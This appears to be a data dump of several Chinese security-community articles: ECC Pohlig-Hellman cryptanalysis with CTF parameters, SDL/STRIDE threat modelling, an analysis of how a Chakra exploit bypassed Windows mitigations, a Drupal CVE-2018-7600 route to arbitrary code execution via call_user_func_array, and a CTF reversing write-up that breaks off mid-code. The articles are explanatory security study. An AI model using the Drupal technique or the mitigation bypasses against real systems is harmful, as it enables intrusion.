text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 简析ECC攻击方法之Pohlig-Hellman
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
前段时间研究了一下ECDSA签名的一些特性，发现确实有点意思，正好这个学期也开了密码学的课程，借着机会把ECC又研究了一番，今天就先初步探究一下利用Pohlig-Hellman算法来攻击椭圆曲线离散对数问题（ECDLP）。
## ECDLP
### 概要
说实话，同样作为公钥密码学，相比较于RSA与DL，ECC确实是要难一些，不仅是解决问题的困难度上，学起来也是如此，从初学到深入你就越能体会到数学的奥妙
篇幅所限同时也是水平原因，相关的基础性知识这里就不涉及了，如果对于ECC并不了解的话建议看看这两篇文章[ECC加密算法入门介绍](https://www.pediy.com/kssd/pediy06/pediy6014.htm)，[ECC椭圆曲线详解](https://www.cnblogs.com/Kalafinaian/p/7392505.html)
我们知道ECC相比于其他的公钥算法而言具有更高的单位比特强度，同时运算速度也更快，这意味着可以用更短的密钥以及更高的性能来完成需求，在很多领域也已经派上了用场，近年来大热的区块链也有很多地方采用了它作为签名算法，所以说研究研究还是挺有必要的
### 什么是椭圆曲线离散对数问题
我们不妨先来看看什么是离散对数问题
对于整数域来说，其实就是对于给定的式子
y = g^x mod p
当仅知道g，p与y时我们是很难求得x的值的
而在椭圆曲线上，就是对于一个给定的椭圆曲线E，当我们设定了一个阶为n的基点G后，在[0,n-1]上选取一整数k，由式子Gk =
Q，当我们仅知道G与Q时，想反推得到k是困难的，这就是椭圆曲线上的离散对数问题
不过有意思的是其实ECDLP的困难目前还没有得到数学上的证明，因此事实上它目前还只是一个假设
当然了，离散对数问题是难解但也并非是无解，如果你尝试直接爆破的话那么复杂度当然就直接视为n了，但是在某些情况下也有一些方法可以帮助我们降低解决问题的复杂度，特别是当算法取了一些不安全的特殊值时，比如一些不安全的p以及不安全的椭圆曲线，这些都会成为我们攻破密钥系统的利刃，而一个相对安全的密钥系统就要努力避开生成对应的参数
### Pohlig-Hellman攻击方法
其实对ECDLP的攻击手法还是比较多的，近年来研究也还在不断进行，新的攻击方法也在不断提出，更多的方案可以参见此博文，[传送门](http://blog.sina.com.cn/s/blog_4e37c87d0100cuod.html)，目前来讲最有效的方法应该还是将Pohlig-Hellman 算法和 Pollard’s rho
算法结合，这样所需的时间复杂度大概为O(p1^(1/2))，其中p1是阶数n的最大素因子，相应的为了对抗这类攻击就要求生成参数时得到的n含有较大的素因子，或者n自身就是一个大素数就更好了，至于其他的攻击手法则大多是在曲线参数取值特殊的情况下可以极大缩小复杂度的方法，比如对超椭圆曲线有效的MOV方法，所以要生成一个安全的椭圆曲线就必须绕过这一系列的特殊情况
接下来我们看看Pohlig-Hellman，如它的名字所示，该算法由Pohlig和Hellman发明，这是一种为解决离散对数问题而提出的攻击方法，早在1978年就被提出，比椭圆曲线的提出时间还早，它的主要思想是对阶数进行分解，比如整数域中y
= g ^ x mod p里的x以及椭圆曲线 离散对数问题中Gk = Q
的G的阶n，这样就把对应的离散对数问题转移到了每个因子条件下对应的离散对数，这样就可以利用中国剩余定理进行求解，下面我们就研究一下椭圆曲线下的Pohlig-Hellman算法
首先我们不妨假设需要求解的式子为
Q = l * P
其中P为我们选取的一个基点，l就是我们选定的随机数，相当于要求解的私钥
首先求得P的阶n，也就是可使得n*P不存在的最小正整数
然后我们将n进行分解，我们设
n = p1^e1 * p2^e2 ……pr^er
然后我们将这些因子拿出来，对于i属于[1,r],计算
li = l mod pi^ei
于是我们便得到了下面的这一系列等式
l ≡ (l1 mod p1^e1)
l ≡ (l2 mod p2^e2)
……
l ≡ (lr mod pr^er)
看上去是不是有点眼熟，如果得到了这些li的值我们就能使用中国剩余定理进行求解得到l了，现在的问题就是求解这些li
首先我们将li设为成pi表示的多项式，如下
接下来我们的任务就是求解这些z，注意这里的z应该是属于[0,pi-1]
下面就很有意思了，为了计算zi，我们分别取P0和Q0，并取值
这样我们就有了pi*P0 = nP，接下来我们可以得到Q0的表达式
其实就是在我们原表达式的两边乘上了n/pi
这样的话我们再转回li，先求解z0
这时我们便将在P域上的离散对数分解到了P0域上，因为P0的阶是n/pi，已经较原本的阶n运算的复杂度小了很多，当然，除非n本身就是个大素数
在这里我们可以求得z0，然后我们再代回原式
此时就可以求解z1，然后依次将zi全部算出来，这样我们就得到了l1，然后便可以代入前面的等式，将li都求出后即可利用中国剩余定理求出l
说实话确实有点绕，我也是懵逼了一半天，同时要注意这里的运算都是基于椭圆曲线的，虽然道理是相通的但是在具体的运算里还是完全不同，在理解的时候还是需要注意，不过确实我也水平有限，写的可能不是太清楚
## 一道题目
这是picoCTF 2017的一道crypto题目，恰好考点就是这个Pohlig-Hellman，所以也拿出来讲两句，内容与write
up链接可见此，[传送门](https://hgarrereyn.gitbooks.io/th3g3ntl3man-ctf-writeups/2017/picoCTF_2017/problems/cryptography/ECC2/ECC2.html)
主要是这道题目确实让我体会到了sagemath工具的强大，什么都帮你内置好了，你就直接用就行了
开始时先让我们算b，这很简单，就不多说了，得到需要的参数后我们有了如下的椭圆曲线
M = 93556643250795678718734474880013829509320385402690660619699653921022012489089
A = 66001598144012865876674115570268990806314506711104521036747533612798434904785
B = 25255205054024371783896605039267101837972419055969636393425590261926131199030
P = (56027910981442853390816693056740903416379421186644480759538594137486160388926, 65533262933617146434438829354623658858649726233622196512439589744498050226926)
Q = (61124499720410964164289905006830679547191538609778446060514645905829507254103, 2595146854028317060979753545310334521407008629091560515441729386088057610440)
按照我们前面所讲的，首先求得P的阶，然后将其分解，这点sage都可以直接帮我们完成
然后任务其实就是求分解后对应的阶下也就是P0对应的li了，这个我们也可以用sage里的discrete_log函数来直接完成，真的是好用到不行
可以看到有两个阶的li没有算出来，不过这并不影响我们得到结果，得到了这些以后我们就可以利用中国剩余定理来求解了，而这也可以直接在sage里使用crt函数来调用，可以说是非常舒服了
原理没弄懂也没关系，会灵活运用工具照样也能玩得溜啊
## 写在最后
对于ECDLP的攻击方式还是有很多的，我目前也只是处于初学阶段，文章里可能有很多地方没写到位或者错误，希望大佬们多多指教
## 参考
<http://wstein.org/edu/2010/414/projects/novotney.pdf>
<https://koclab.cs.ucsb.edu/teaching/ecc/project/2015Projects/Sommerseth+Hoeiland.pdf> | 社区文章 |
> Auth:[email protected]
## 前言
本文详细介绍微软软件安全开发生命周期（SDL）相关概念，并讨论要遵循 SDL
过程所应执行的各种安全活动，其中着重对软件安全设计的原则进行探讨。并对STRIDE威胁建模方法进行深入介绍。
### SDL介绍
安全开发生命周期（SDL）即Security Development
Lifecycle，是一个帮助开发人员构建更安全的软件和解决安全合规要求的同时降低开发成本的软件开发过程。
自2004年起，微软将SDL作为全公司的计划和强制政策，SDL的核心理念就是将安全考虑集成在软件开发的每一个阶段:需求分析、设计、编码、测试和维护。从需求、设计到发布产品的每一个阶段每都增加了相应的安全活动，以减少软件中漏洞的数量并将安全缺陷降低到最小程度。安全开发生命周期
(SDL)是侧重于软件开发的安全保证过程，旨在开发出安全的软件应用。
### SDL安全活动
简单来说，SDL是微软提出的从安全角度指导软件开发过程的管理模式，在传统软件开发生命周期 (SDLC)
的各个阶段增加了一些必要的安全活动，软件开发的不同阶段所执行的安全活动也不同，每个活动就算单独执行也都能对软件安全起到一定作用。当然缺少特定的安全活动也会对软件的安全性带来影响。
我曾今有幸参加过微软安全专家Michael Howard及Taha Mir关于SDL及威胁建模的培训，作为《软件安全开发生命周期》一书的作者，Michael
Howard不只一次强调，安全培训是SDL最核心的概念，软件是由设计人员设计，代码是有开发人员编写。同样，大部分软件本身的安全漏洞也是由设计及编码人员引入，所以对软件开发过程中的技术人员进行安全培训这点至关重要。
可以看到在整个SDL周期中，除了安全培训这项活动，还在软件发布后增加了安全应急响应的相关活动，而目前国内大多数公司目前已经基本上具备了安全应急响应的活动和职能部门，同时包括安全编码规范、代码审计、渗透测试等安全活动也都已经基本具备甚至个别企业已经比较成熟。但在软件设计阶段的安全活动则相对较少，据我了解仅个别大型跨国企业才拥有安全设计等相关的安全活动。而根据微软多年的实践和经验，软件的安全问题很大一部分是由于不安全的设计而引入的。在设计阶段造成的安全缺陷在后期修复的成本和时间都相对较高。STRIDE威胁建模的创始人之一Taha
Mir曾说过
> “safer applications begin with secure design”
即安全应用从安全设计开始，相应的微软SDL也提出了若干核心的安全设计原则，并提出了如攻击面最小化、STRIDE威胁建模等多种方法辅助安全人员对软件进行安全设计，本文就针对当前国内企业在软件设计阶段安全活动发展相对欠缺的安全设计进行探讨。
## 安全设计核心原则
SDL安全设计核心原则:
> * Attack Surface Reduction：攻击面最小化
> * Basic Privacy: 基本隐私
> * Least Privilege: 权限最小化
> * Secure Defaults: 默认安全
> * Defense in Depth：纵深防御
> * Threat Modeling：威胁建模
>
### 攻击面最小化
攻击面是指程序任何能被用户或者其它程序所访问到的部分，这些暴露给用户的地方往往也是最可能被恶意攻击者攻击的地方。
攻击面最小化即是指尽量减少暴露恶意用户可能发现并试图利用的攻击面数量。软件产品的受攻击面是一个混合体，不仅包括代码、接口、服务，也包括对所有用户提供服务的协议。尤其是那些未被验证或者远程的用户都可以访问到的协议，安全人员在攻击面最小化时首先要对攻击面进行分析，攻击面分析就是枚举所有访问入库、接口、协议以及可执行代码的过程，从高层次来说，攻击面分析着重于:
> * 降低默认执行的代码量
> * 限制可访问到代码的人员范围
> * 限定可访问到代码的人员身份
> * 降低代码执行所需权限
>
常见的攻击面分析技巧如下表:
攻击面最小化在微软的应用实践示例:
### 基本隐私
用户使用软件时无可避免个人信息被收集、使用甚至分发，企业则有责任和义务建立保护个人信息的保护措施，抵御敌对攻击行为，确保用户基本隐私的安全性。隐私安全是建立可信任应用程序的关键因素。
在软件设计时考虑用户基本隐私的必要性及意义有:
> * 履行法律规定和义务
> * 增加客户的信赖
> * 防止堵塞部署
>
对于特殊的软件或者全球性的产品，设计人员需要明确软件的行为及针对人群。尤其要考虑当地国家的法律法规，如美国儿童网路隐私保护法COPPA(Children's
Online Privacy Protection
Act)等，企业在开发产品、服务时有必要制定明确的隐私准则，对获取、记录用户隐私的相关产品需有明确的要求和指导建议。
Tips:
> * 只收集程序必须用到的隐私数据，并明确告知用户并征得用户同意;
> * 微软对于用户隐私数据如密码、口令等均需要加密存储，最低要求是sha256+salt，对于更高要求的则使用PBKDF2算法加密存储;
>
### 权限最小化
如果一个应用程序或网站被攻击、破坏，权限最小化机制能够有效的将潜在损害最小化。常见的权限最小化实践如:
> * 普通管理员/系统管理员等角色管理
> * 文件只读权限/文件访问权限等访问控制
> * 进程/服务以所需最小用户权限运行
>
在进行软件设计时，安全设计人员可以评估应用程序的行为及功能所需的最低限度权限及访问级别，从而合理分配相应的权限。如果程序特定情况必须要较高级别的权限，也可以考虑特权赋予及释放的机制。即便程序遭到攻击，也可以将损失降到最低。
Tips:
> * Windows系统中网络进程、本地服务、用户进程的权限都较低且互相独立，分别为NETWORK SERVICE、LOCAL
> SERVICE、user权限，只有核心的重要进程实用SYSTEM权限;
> *
> 最新版本的Office程序打开不可信来源的文档时，默认时不可编辑的，同时也是默认不可执行代码的，即使存在缓冲区溢出漏洞，也不会执行shellcode等恶意代码;
>
### 默认安全
默认安全配置在客户熟悉安全配置选项之前不仅有利于更好的帮助客户掌握安全配置经验，同时也可以确保应用程序初始状态下处于较安全状态。而客户可根据实际使用情况而决定应用程序安全与隐私的等级水平是否降低。
Tips:
> * 在Win 7之后的Windows操作系统中，DEP(数据执行保护)默认是开启的。用户可设置选项改变DEP的状态;
> * Win 10默认启用安全防护软件Windows Defender，用户可选择关闭;
>
### 纵深防御
与默认安全一样，纵深防御也是设计安全方案时的重要指导思想。纵深防御包含两层含义：首先，要在各个不同层面、不同方面实施安全方案，避免出现疏漏，不同安全方案之间需要相互配合，构成一个整体；其次，要在正确的地方做正确的事情，即：在解决根本问题的地方实施针对性的安全方案。
纵深防御并不是同一个安全方案要做两遍或多遍，而是要从不同的层面、不同的角度对系统做出整体的解决方案。
Tips:
> * 针对XSS的防护，除了要对用户输入的特殊符号进行过滤，还要区分是否是富文本进而进行相应编码操作，在输入时过滤的同时在输出时也进行过滤操作。
> * 即使做了十足的过滤、编码等安全防护，为了更一步确保缓解XSS攻击，Internet Explorer
> 为Cookie引入了一个新属性，这个属性规定，不许通过脚本访问cookie。Web站点程序对Cookie启用HTTP-> Only属性后，可确保即使发生XSS攻击，也可以阻止通过脚本访问Cookie的操作。
>
### 威胁建模
威胁建模是一种分析应用程序威胁的过程和方法。这里的威胁是指恶意用户可能会试图利用以破坏系统，和我们常说的漏洞并不相同。漏洞是一个特定的可以被利用的威胁，如缓冲区溢出、sql注入等。
作为SDL设计阶段的一部分安全活动，威胁建模允许安全设计人员尽在的识别潜在的安全问题并实施相应缓解措施。在设计阶段把潜在的威胁发现有助于威胁的全面和更有效的解决，同时也有助于降低开发和后期维护的成本。威胁建模的一般流程如下:
> * 与系统架构师及设计人员沟通，了解设计详情
> * 使用成熟的威胁建模方法分析当前设计潜在的安全问题
> * 提出安全建议及对潜在威胁的缓解措施
> * 对安全设计进行验证并对整个设计方案进行回顾并再次确认
>
微软使用的威胁建模方法是STRIDE威胁建模方法。为了便于安全人员快速便捷的进行威胁建模，微软开发基于STRIDE威胁建模方法的[SDL Threat
Modeling Tool](\[https://www.microsoft.com/en-us/sdl/adopt/threatmodeling.aspx)威胁建模工具，该工具可以帮助安全人员画数据流图、分析威胁、生成并导出威胁建模报告](<https://www.microsoft.com/en-us/sdl/adopt/threatmodeling.aspx)%E5%A8%81%E8%83%81%E5%BB%BA%E6%A8%A1%E5%B7%A5%E5%85%B7%EF%BC%8C%E8%AF%A5%E5%B7%A5%E5%85%B7%E5%8F%AF%E4%BB%A5%E5%B8%AE%E5%8A%A9%E5%AE%89%E5%85%A8%E4%BA%BA%E5%91%98%E7%94%BB%E6%95%B0%E6%8D%AE%E6%B5%81%E5%9B%BE%E3%80%81%E5%88%86%E6%9E%90%E5%A8%81%E8%83%81%E3%80%81%E7%94%9F%E6%88%90%E5%B9%B6%E5%AF%BC%E5%87%BA%E5%A8%81%E8%83%81%E5%BB%BA%E6%A8%A1%E6%8A%A5%E5%91%8A)。>
## STRIDE威胁建模方法
### STRIDE介绍
STRIDE威胁建模是由微软提出的一种威胁建模方法，该方法将威胁类型分为Spoofing（仿冒）、Tampering（篡改）、Repudiation（抵赖）、Information
Disclosure（信息泄漏）、Denial of Service（拒绝服务）和 Elevation of
Privilege（权限提升）。这六种威胁的首字母缩写即是STRIDE，STRIDE威胁模型几乎可以涵盖目前绝大部分安全问题。此外，STRIDE威胁建模方法有着详细的流程和方法。
### 威胁建模流程
STRIDE威胁建模的一般流程如下:
> * 绘制数据流图
> * 识别威胁
> * 提出缓解措施
> * 安全验证
>
### 数据流图
数据流图(Data Flow Diagrams)包含外部实体(External Entity)、处理过程(Process)、数据流(Data
Flow)、数据存储(Data Store)，安全人员与系统架构师及设计人员沟通，了解设计详情并画出数据流图后还需要标注信任边界（Trust
Boundary），针对简单的Web应用的数据流图如下:
### 识别威胁
STRIDE威胁建模方法已经明确了每个数据流图元素具有不同的威胁，其中外部实体只有仿冒（S）、抵赖（R）威胁，数据流只有篡改（T）、信息泄露（I）、拒绝服务（D）威胁，处理过程有所有六种（STRIDE）威胁，存储过程有篡改（T）、信息泄露（I）、拒绝服务（D）威胁，但如果是日志类型存储则还有抵赖（R）威胁。具体可以对照如下表格进行威胁识别:
### 缓解措施
根据不同的数据流图元素及威胁，相应的缓解措施也不相同。如本文示例数据流图中外部实体用户的仿冒威胁，其缓解措施简单来说就是对用户身份进行认证。对于一个Web应用来说，缓解仿冒威胁不仅需要较强的认证机制，还需要防止恶意攻击者用暴力破解、口令猜测等方法绕过认证从而造成仿冒用户的威胁。如果笔者来提出该用户仿冒威胁的缓解措施的话，详细措施如下:
> * 对用户访问进行帐号密码、证书等身份认证;
> * 用户帐号密码认证过程中，如果出现三次密码错误，则增加验证码机制。输入验证码且正确再进行身份认证;
> * 当用户认证5次后仍然验证失败，则在30分钟内禁止该帐号登录;
> * 用户密码必须包含数字、字母及特殊字符，且长度在8位以上，如果业务安全需要则增加密码过期机制，每隔6个月提醒用户修改密码;
>
在提出缓解措施时，有的时候不仅要考虑安全问题，同时也要考虑软件的易用性，所以不同的威胁，不同的应用场景。其缓解措施也要随之而改变以提高应用安全的同时也能给用户带来较好的交互体验。
微软对于常用的威胁给出了其常用的标准缓解措施，并在具体实施时已将常用的缓解方案及措施集成为独立的解决方案或者代码模块。可以方便同类应用直接使用。
### 安全验证
在威胁建模完成后，需要对整个过程进行回顾，不仅要确认缓解措施是否能够真正缓解潜在威胁，同时验证数据流图是否符合设计，代码实现是否符合预期设计，所有的威胁是否都有相应的缓解措施。最后将威胁建模报告留存档案，作为后续迭代开发、增量开发时威胁建模的参考依据。
## 总结
SDL的核心理念是将安全考虑集成在软件开发的每一个阶段:需求分析、设计、编码、测试和维护。从需求、设计到发布产品的每一个阶段每都增加了相应的安全活动，以减少软件中漏洞的数量并将安全缺陷降低到最小程度。本文重点介绍了设计阶段的安全活动指导思想及STRIDE威胁建模，但SDL的其它阶段的不同安全活动也同样对软件安全有着重要影响。同时本文介绍的安全设计原则仅为指导思想，安全设计人员还需要掌握一定的安全攻防知识，具备一定的安全攻防经验才能更好的设计出安全的方案及软件应用。另外根据笔者经验，在实际的安全设计工作中，对于不同软件及应用场景其面临的安全问题也不同。随着互联网时代发展，目前已经不在是单纯的软件时代了，类似移动端应用、智能硬件、云端、大数据平台等新形态的应用都面临的自身特有的安全问题。安全设计人员要考虑的也要更多，但安全设计的核心原则还是相差无几。由于篇幅及笔者经验有限，本文所述如有不妥之处可以与笔者联系交流。
[原文PDF格式下载](https://github.com/Cryin/Paper/blob/master/SDL-%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8%E8%AE%BE%E8%AE%A1%E5%88%9D%E7%AA%A5.pdf)：<https://github.com/Cryin/Paper>
## 参考文献
[1] <https://www.microsoft.com/en-us/SDL/process/design.aspx>
[2] <http://www.microsoft.com/en-us/sdl/adopt/threatmodeling.aspx>
[3] Introduction_to_Threat_Modeling
[4] Simplified Implementation of the SDL
[5] <https://github.com/Cryin/Paper> | 社区文章 |
# 【技术分享】AtomBombing：Windows的全新代码注入技术
|
##### 译文声明
本文是翻译文章，文章来源：endgame.com
原文地址：<https://www.endgame.com/blog/chakra-exploit-and-limitations-modern-mitigation-techniques>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[knight](http://bobao.360.cn/member/contribute?uid=162900179)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
通过利用缓解技术中的弱点，绕过HA-CFI和CFG进行代码注入。
**正文**
去年11月，Microsoft发布了Microsoft Edge的安全更新程序，其中就包含了Google Project
Zero团队发现的漏洞补丁CVE-2016-7200和CVE-2016-7201。今年早些时候，Brian
Pak发表了一个概念验证（POC）漏洞，证明这两个漏洞可以一起被使用。
不久之后，这两个漏洞被包括在几个流行的开发包中。漏洞的利用似乎主要是通过POC的剪切/粘贴来实现的。
POC存在弱点，我将会讨论它，然而在它的原始形式下，它却设法绕过所有的微软的漏洞缓解。POC演示了如何正确的抵消漏洞补丁中复杂的反攻击技术和并获得执行权限。CVE-2016-7200是指chakra.dll中的array.filter函数类型混淆错误漏洞。在这个帖子里，它允许攻击者确定在堆上创建的对象的地址。CVE-2016-7201是chakra.dll中的另一个类型混淆错误漏洞，这一次是在JavascriptArray
:: FillFromPrototypes当中。它使攻击者可以在任意内存上进行读/写。
微软有一个稳定的实施利用缓解技术的跟踪记录，从EMET（利用防护工具的行业标准），到嵌入Windows 10和Edge的内置缓解。利用漏洞绕过这些技术 –
甚至是利用未被破坏漏洞 – 这都是很有趣的事，可以帮助我们了解当前状态。
在Endgame，我们不断测试我们检测漏洞和预防攻击的能力，使我们可以应对最新的威胁，确保我们可以继续提供最强大的防御机制。
我们对这个POC非常感兴趣，因为它为我们进一步研究提供了方向，并且为我们的客户带来了更周全的保护。
在这篇文章中，我不会深入研究漏洞，而是会将重点放在最小POC中所强调的利用缓解技术中的弱点上。 我将通过一个适用于Chakra
POC的攻击链来说明研究这个问题，并介绍我们是如何通过创新一些预防方法来提高黑客攻击的代价的。
**开发阶段**
**存储器的准备**
大多数漏洞在获得执行权限之前，都需要进行准备步骤，将攻击者控制的东西（例如，ROP，shellcode）放到已知位置的存储器中。
该步骤可以以多种形式实行，并且通常称该步骤为堆修整，或其子集之一的堆喷射。虽然这些技术大多数很难检测到一些有用的东西，但它往往可以给防御者提供第一次检测恶意事件的机会。
堆喷射主要设施有两个–探测器和干扰物。探测器，如NOZZLE，监视内存的分配和检查内存中恶意行为的指标。干扰器，如BuBBle和DieHarder，试图通过增加配置随机化
的方法来降低堆喷出的可靠性，阻塞NOP-sleds或保护exploit常用的地址（0x0c0c0c0c等）。
整个博客链可以专门用于猫和鼠标游戏的内存的开发和检测。由CVE-2016-7200启用的解决方案是：如果攻击者选择存储器，系统就会停止使用该存储器。
从技术上讲，在最广泛的意义上说CVE-2016-7200的作用就是准备存储器，由于它使用解剖刀的精度，使得当前缓解技术不太可能会注意到它。
CVE-2016-7200的实现如下图所示：
putdataandgetaddr()一次性使用的内存泄漏（稍后讨论）：
并再次放置shellcode：
你可以看到，有一些分配，NOP-sled是不必需的，并且大多数据是良性的（shellcode数据可以被检测为代码，但很少会被标记为恶意代码）。
**漏洞的配置**
在这一步没有任何缓解措施，也没有什么可写的，因为这里所采取的行动取决于所涉及的漏洞和攻击者选择的执行路径。
Chakra POC使用CVE-2016-7201创建读取/写入的功能，稍后会使用到。
**内存泄露**
随着地址空间布局随机化（ASLR）的引入，而且现在ASLR被使用的很普遍，攻击者需要在他们的开发中采取一个额外的步骤。
他们需要通过在内存中查找目标模块的地址来定位自己。
由于Chakra
POC已经具有对象和读/写原语的地址，因此获取chakra.dll的原地址只需要从我们的对象中获取vtable，找到它的一个函数的地址，然后减去适当的基于dll版本偏移。
**Payload的配置**
为了在大多数的操作系统和目标版本中有效的，许多漏洞都是通过动态的方法来定位开发功能的位置（例如，VirtualProtect，VirtualAlloc等）。
这种查找通常是通过搜索目标dll的导出地址表来完成。 一个很好的例子就是用Flash漏洞来开发PE.as模块：
诸如Microsoft EMET中的EAF / EAF +之类的缓解措施就是阻止那些对DLL头的位置进行未经授权的访问的行为。
Chakra POC通过修改需要查找的硬编码地址来避免检查。
这种方法有一个固有的弱点。在漏洞利用中，使用硬编码偏移在破坏一些现有漏洞缓解方面是一种有效的办法。但总的来说，这种做法有局限性。
硬编码地址增加了漏洞开发的时间，而且还需要不断更新以使目标可以在动态环境中生存下去。
**代码执行**
接下来，攻击者必须中断预定的执行流程，并开始执行自己的议程。传统上，这是通过将堆栈指针旋转到攻击者控制的内存来完成的。在这一点上，有一个常见的缓解就是安全产品会偶尔验证堆栈指针是否指向当前线程的堆栈。
Chakra POC通过将它的ROP直接放在堆栈上来绕过这些检查。
Endgame采用HA-CFI，它有助于确保代码执行的完整性，并且在抵御大多数攻击方面非常成功。 HA-CFI可以检测异常的控制流，并在堆栈指针被修改之前阻止大多数攻击。通常，堆栈支点是ROP的第一个小工具（下面讨论），同样也是执行流程中的第一个异常。
Microsoft利用控制流保护（CFG）来达到类似的目地。CFG对间接调用添加了一个附加检查，以确保它们被定向到有效目标。
Chakra POC在很大程度上得益于硬编码地址，劫持ScriptEngine ::
ExecutePendingScripts的返回地址，并在exploit脚本完成时获得对堆栈的控制。通过不间接调用和避免异常的代码流，从而来绕过HA-CFI和CFG。
**返回定向编程（ROP）**
ROP是一个过渡到执行控制标准的方法。当攻击者的shellcode保存在不可执行的内存中时，通常需要执行此步骤。
在检测ROP的过程中已经进行过大量的研究，这导致几个技术被部署在了安全产品上。
1.关键功能的正确性检查。这里的想法是，如果一个攻击者被迫使用ROP，他/她可能需要使用一个简短的函数列表，如CreateProcess或virtualprotect来移动到payload进行执行。当调用这些函数，可以执行一系列检查来检测程序的好坏。
a. 堆栈指针的完整性
b. 堆叠的完整性
c. 返回地址优先呼叫
d. VirtualProtect不会尝试使堆栈可执行
2.代码模拟。 Microsoft的EMET和ROPGuard采用的缓解模拟在检测类ROP行为上，在当前处于领先地位。
3.硬件。 kBouncer利用硬件性能监视器来检测类似ROP的行为。
Chakra
POC确实是使用了ROP（如上所示），但是它有几个特性，使得这些技术都很难检测到它。首先，ROP只包含两个小工具和一个返回shellcode。这避免了硬件辅助小工具链的检测，如kBouncer，需要更长的ROP链才可以达到硬件辅助小工具链的检测标准。第二，VirtualProtect调用是一个合法的函数，它包装了VirtualProtect。
这使得堆栈在到达VirtualProtect的任何检查时都会显示正常。
之所以第二个ROP
gadget和APIHook_VirtualProtect的组合代码用于模拟技术检查感觉非常良好，是因为他们检查VirtualProtect后的代码都是合法的代码。
**总结**
Chakra
POC是一个很好的利用缓解规避技术的研究案例，我研究的还很基础。在这个POC中使用的技术不是最新的，事实上，大多数技术已经发布了一段时间。使用它们的两个原因：1）漏洞本身允许它们的使用;
2）内置到Windows 10和Edge中的缓解需要使用它们。
我们知道，漏洞会一直存在，我们应该把重点放在攻击的检测和预防上。诸如Microsoft，Google，Adobe等许多软件供应商已经在检测/预防战中投入了大量资源。像英特尔这样的硬件厂商也加入了斗争。
像Endgame这样的安全公司将提供更多有效的方法来阻止对手。每个缓解都可能给攻击者增加一些代价。 我们的工作是使这个成本尽可能高。
Chakra POC和已被发现的攻击显示，代价还不够高，攻击者仍然可以进行攻击。它表明Windows
10和Edge不能为大家提供安全港湾。在Endgame，我们不断创新开发检测攻击/预防攻击的能力，通过分析最新的漏洞和综合防治技术来使最具创造性的攻击者的攻击链停在最早阶段。 | 社区文章 |
Author: l3m0n@0Kee
对于cve-2018-7600的利用，比较出名的应该是[Drupalgeddon2](https://github.com/dreadlocked/Drupalgeddon2)，其中对7的利用是使用了`passthru`函数执行命令，但是有一个问题便是，你会发现除了能执行命令，好像做不了其他的。下面将剖析这个问题，另外如果`disable_functions`下将命令函数全部禁用时，又该如何，所以如果能有一个无限制的任意代码执行将会更棒。
首先分析一下最终漏洞触发原因:
includes/common.inc:6084
可以看到`exec`进入了`$function($elements['#children'],
$elements);`，然后执行了命令，但是这里面有一个问题就是第二个参数不可控，并且是一个数组，导致没法执行。
看一下`passthru`的原型:
void passthru ( string $command [, int &$return_var ] )
第二参数是一个引用类型，传入什么都会被改变 (感谢Ph师傅的解答) ，所以不受影响。
当传入assert去执行代码，便就执行失败，返回的为null
所以需要找一个新的利用，翻了一下drupal的文件，发现一处挺适合.
includes/common.inc:4677
foreach ($elements['#attached'] as $callback => $options) {
if (function_exists($callback)) {
foreach ($elements['#attached'][$callback] as $args) {
call_user_func_array($callback, $args);
}
}
}
首先向`#attached`注入一段数据.
可以看到最后传入`call_user_func_array`里面的数据是比较干净的.
最后验证: | 社区文章 |
# 强网杯2021 线上赛 ezmath Writeup
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
题目思路很新颖，需要通过分析代码理解背后的数学公式
* * *
## 比赛期间的分析
ida逆向，发现init_array有自修改
主要函数：
* * *
sub_1301：
double __fastcall sub_1301(double x)
{
int i; // [rsp+Ch] [rbp-1Ch]
double power; // [rsp+10h] [rbp-18h]
double sum; // [rsp+18h] [rbp-10h]
double factorial; // [rsp+20h] [rbp-8h]
power = 1.0;
sum = 1.0;
factorial = 1.0;
for ( i = 1; i <= 8225; ++i )
{
power = power * x;
factorial = (double)i * factorial;
sum = power / factorial + sum;
}
return power * sum;
}
* * *
sub_11C9：
double __fastcall sub_11C9(double (__fastcall *f)(double), double a, double b)
{
double v4; // [rsp+0h] [rbp-40h]
int i; // [rsp+20h] [rbp-20h]
double v7; // [rsp+28h] [rbp-18h]
double v8; // [rsp+30h] [rbp-10h]
double delta; // [rsp+38h] [rbp-8h]
delta = (b - a) / (double)1000;
v7 = f(delta / 2.0 + a);
v8 = 0.0;
for ( i = 1; i < 1000; ++i )
{
v7 = f(delta / 2.0 + (double)i * delta + a) + v7;
v8 = f((double)i * delta + a) + v8;
}
v4 = 4.0 * v7 + f(a) + v8 + v8;
return (f(b) + v4) * delta / 6.0;
}
辛普森积分公式
（<https://baike.baidu.com/item/%E8%BE%9B%E6%99%AE%E6%A3%AE%E7%A7%AF%E5%88%86%E6%B3%95>）
* * *
sub_13F3：
double __fastcall sub_13F3(int n)
{
int i; // [rsp+8h] [rbp-Ch]
double v; // [rsp+Ch] [rbp-8h]
v = 0.2021;
for ( i = 0x2021; i < n; ++i )
v = 2.718281828459045 - (double)i * v;
return v;
}
初始的0.2021会被 init_array 中的 sub_1391 修改为`sub_11C9(sub_1301, 0.0,
1.0)`，理论上应等于：（调试发现实际上是0.0004829108052495089）
由分部积分公式可得：
记，上式即为，与sub_13F3的逻辑一致，所以`sub_13F3(n)`实质上是在计算
（这里的问题在于浮点数计算精度不够，中途出现了inf，导致事实上永远无法计算出最终的结果）
* * *
main
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 result; // rax
int i; // [rsp+Ch] [rbp-44h]
char s[8]; // [rsp+20h] [rbp-30h] BYREF
__int64 v6; // [rsp+28h] [rbp-28h]
__int64 v7; // [rsp+30h] [rbp-20h]
__int64 v8; // [rsp+38h] [rbp-18h]
__int64 v9; // [rsp+40h] [rbp-10h]
unsigned __int64 v10; // [rsp+48h] [rbp-8h]
v10 = __readfsqword(0x28u);
*(_QWORD *)s = 0LL;
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;
v9 = 0LL;
__isoc99_scanf("%39s", s);
if ( strlen(s) == 38 )
{
for ( i = 0; i <= 37; i += 2 )
{
